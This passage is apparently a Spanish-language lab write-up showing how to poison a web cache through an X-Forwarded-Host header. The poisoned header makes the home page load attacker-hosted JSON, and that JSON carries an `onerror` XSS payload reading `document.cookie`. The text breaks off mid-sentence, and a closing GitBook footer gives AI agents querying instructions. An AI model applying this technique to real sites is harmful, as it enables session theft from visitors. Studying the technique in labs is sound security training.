> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/cache-poisoning/cache-poisoning-to-exploit-dom-xss-with-strict-cache.md).

# Envenenamiento de caché para explotar XSS DOM con caché estricta

### Envenenamiento de caché web para explotar una vulnerabilidad DOM mediante una caché con criterios estrictos de almacenabilidad en caché

#### Objetivo del laboratorio

Debemos **envenenar la caché** para que un visitante de la página de inicio ejecute **`alert(document.cookie)`** mediante una **vulnerabilidad DOM**.

#### Observaciones

* La página muestra información de entrega según el país (p. ej., Reino Unido).
* Identificamos un **`geolocate.js`** script que construye el DOM a partir de un JSON.

<figure><img src="/files/4108c671454d37d2c0886c54a40b9caafefae537" alt=""><figcaption></figcaption></figure>

#### Análisis de la lógica del lado del cliente

En **`geolocate.js`** vemos una función del tipo:

* Realiza una `fetch(jsonUrl)`
* Luego recupera `j.country`
* Y hace lo siguiente: **`div.innerHTML = 'Envío gratis a ' + j.country;`**

```javascript
function initGeoLocate(jsonUrl)
{
    fetch(jsonUrl)
        .then(r => r.json())
        .then(j => {
            let geoLocateContent = document.getElementById('shipping-info');

            let img = document.createElement("img");
            img.setAttribute("src", "/resources/images/localShipping.svg");
            geoLocateContent.appendChild(img)

            let div = document.createElement("div");
            div.innerHTML = 'Envío gratis a ' + j.country;
            geoLocateContent.appendChild(div)
        });
}
```

El JSON cargado por defecto es:

**`/resources/json/geolocate.json`**

```json
{
    "country": "Reino Unido"
}
```

<figure><img src="/files/d8dedb632d9436396f8d6f05a3570476af4c91b1" alt=""><figcaption></figcaption></figure>

En la página de inicio, la URL del JSON se construye de la siguiente manera:

```javascript
<script>
   initGeoLocate('//' + data.host + '/resources/json/geolocate.json');
</script>
```

<figure><img src="/files/0b8e0989110bdd44da09052979db1ea584e4bd83" alt=""><figcaption></figcaption></figure>

#### Punto de inyección útil (envenenamiento de caché)

Observamos que si añadimos un encabezado como:

* `X-Forwarded-Host: test.com`<br>

Entonces **el valor se refleja** en `data.host`, lo que luego afecta a la URL pasada a `initGeoLocate()`.

#### Alojamiento de nuestro JSON en el servidor de exploit

En nuestro **servidor de exploit**, creamos un archivo JSON (ejemplo simple):

```json
{
  "country": "Andorra"
}
```

<figure><img src="/files/7daba8f53bd36e4c0fe98627d447ed576a9c6dfd" alt=""><figcaption></figcaption></figure>

Luego enviamos una solicitud a la raíz con:

* `X-Forwarded-Host: <notre-exploit-server>`

```http
X-Forwarded-Host: exploit-0a6300210305fded80adf70e01a80006.exploit-server.net
```

Al principio, esto **no se carga** debido a un problema **CORS** (sin `Access-Control-Allow-Origin`).

<figure><img src="/files/3601db852d24ae509edd460d8880137c08e458bc" alt=""><figcaption></figcaption></figure>

Por lo tanto, añadimos en la respuesta del servidor de exploit:

* `Access-Control-Allow-Origin: *`

```http
Access-Control-Allow-Origin: *
```

Después de eso, el JSON remoto se carga correctamente.

<figure><img src="/files/3380ad57d727b4464ae7b741204e180cce440d6f" alt=""><figcaption></figcaption></figure>

#### Inyección de XSS a través de JSON (DOM XSS)

Luego reemplazamos el contenido del JSON con una carga útil, por ejemplo:

```json
{
  "country": "<img src=0 onerror=alert(document.cookie)"
}
```

A medida que `j.country` se inyecta en `innerHTML`, el navegador interpreta nuestro HTML y \*\*l

<figure><img src="/files/7c9cf668f8c99abc5d0e2bb32dd513886679e6e4" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/cache-poisoning/cache-poisoning-to-exploit-dom-xss-with-strict-cache.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
